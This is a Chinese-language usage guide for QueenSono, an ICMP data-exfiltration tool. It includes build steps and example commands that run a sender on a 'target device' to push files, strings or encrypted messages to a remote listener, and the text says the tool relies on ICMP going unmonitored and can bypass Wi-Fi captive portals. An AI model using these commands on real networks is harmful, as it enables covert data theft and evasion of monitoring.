如何使用QueenSono從ICMP提取數(shù)據(jù)
關(guān)于QueenSono
QueenSono是一款針對(duì)ICMP協(xié)議的數(shù)據(jù)提取工具,該工具基于Golang開發(fā),并且只依賴于ICMP協(xié)議不受監(jiān)控這一事實(shí)實(shí)現(xiàn)其功能。除此之外,該工具也可以用于基本的ICMP檢查,或繞過某些身份驗(yàn)證機(jī)制,比如說許多公共Wi-Fi在連接到Wi-Fi(如機(jī)場(chǎng)Wi-Fi)后用于對(duì)用戶進(jìn)行身份驗(yàn)證。
工具安裝
從源碼安裝:
廣大研究人員可以直接使用下列命令將該項(xiàng)目源碼克隆至本地,并安裝好該工具所需的依賴組件:
- git clone https://github.com/ariary/QueenSono.git
- make before.build
下列命令可以構(gòu)建ICMP包發(fā)送器-qssender:
- build.queensono-sender
下列命令可以構(gòu)建ICMP包接收器-qsreceiver:
- build.queensono-receiver
工具使用
ICMP包發(fā)送器-qssender將負(fù)責(zé)把ICMP數(shù)據(jù)包發(fā)送至監(jiān)聽器,因此我們需要將qssender源碼傳輸?shù)侥繕?biāo)設(shè)備上。
ICMP包接收器-qsreceiver就是我們本地設(shè)備上的數(shù)據(jù)包監(jiān)聽器了。
所有的命令和工具參數(shù)都可以使用“--help”來查看。
(1) 工具使用樣例1:發(fā)送包攜帶“ACK”
在這個(gè)例子中,我們將發(fā)送一個(gè)大型文件,并查看接收到數(shù)據(jù)包之后的回復(fù)信息:
在本地設(shè)備上,運(yùn)行下列命令:
- $ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
參數(shù)解釋:
- -l 0.0.0.0:監(jiān)聽所有接口的ICMP數(shù)據(jù)包
- -f received_bible.txt:將接收到的數(shù)據(jù)存儲(chǔ)至文件
- -p:顯示接收數(shù)據(jù)的進(jìn)度條
在目標(biāo)設(shè)備上,運(yùn)行下列命令:
- $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
- $ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt
參數(shù)解釋:
- send file:發(fā)送文件
- -d 2:每?jī)擅氚l(fā)送一個(gè)數(shù)據(jù)包
- -l 127.0.0.1:每次接收回復(fù)信息的監(jiān)聽地址
- -r 10.0.0.92:運(yùn)行了qsreceiver 監(jiān)聽器的遠(yuǎn)程設(shè)備地址
- -s 50000:每個(gè)數(shù)據(jù)包需要發(fā)送的數(shù)據(jù)量大小
(2) 工具使用樣例2:發(fā)送包不攜帶“ACK”
在這個(gè)例子中,我們希望在不等待回復(fù)信息的情況下發(fā)送數(shù)據(jù):
在本地設(shè)備上,運(yùn)行下列命令:
- $ qsreceiver receive truncated 1 -l 0.0.0.0
參數(shù)解釋:
- receive truncated 1:如果沒有收到所有數(shù)據(jù)包,則不會(huì)無限期等待
在目標(biāo)設(shè)備上,運(yùn)行下列命令:
- $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 1 -N
參數(shù)解釋:
- -N:無回復(fù)選項(xiàng)
(3) 工具使用樣例3:發(fā)送加密數(shù)據(jù)
在這個(gè)例子中,我們將發(fā)送加密消息。由于命令行可能會(huì)被監(jiān)控,因此我們將使用非對(duì)稱加密(防止密鑰泄露):
在本地設(shè)備上,運(yùn)行下列命令:
- $ qsreceiver receive -l 0.0.0.0 --encrypt
- <OUTPUT PUBLIC KEY>
參數(shù)解釋:
- --encrypt:使用加密交換,它將生成公鑰/私鑰。公鑰將用于qssender加密數(shù)據(jù),私鑰將用于接收器解密數(shù)據(jù)
在目標(biāo)設(shè)備上,運(yùn)行下列命令:
- $ export MSG="<your message>"
- $ export KEY="<public_key_from_qsreceiver_output>"
- $ qssender send $MSG -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 5 --key $KEY
參數(shù)解釋:
- --key:提供數(shù)據(jù)加密的密鑰
項(xiàng)目地址
QueenSono:【GitHub傳送門】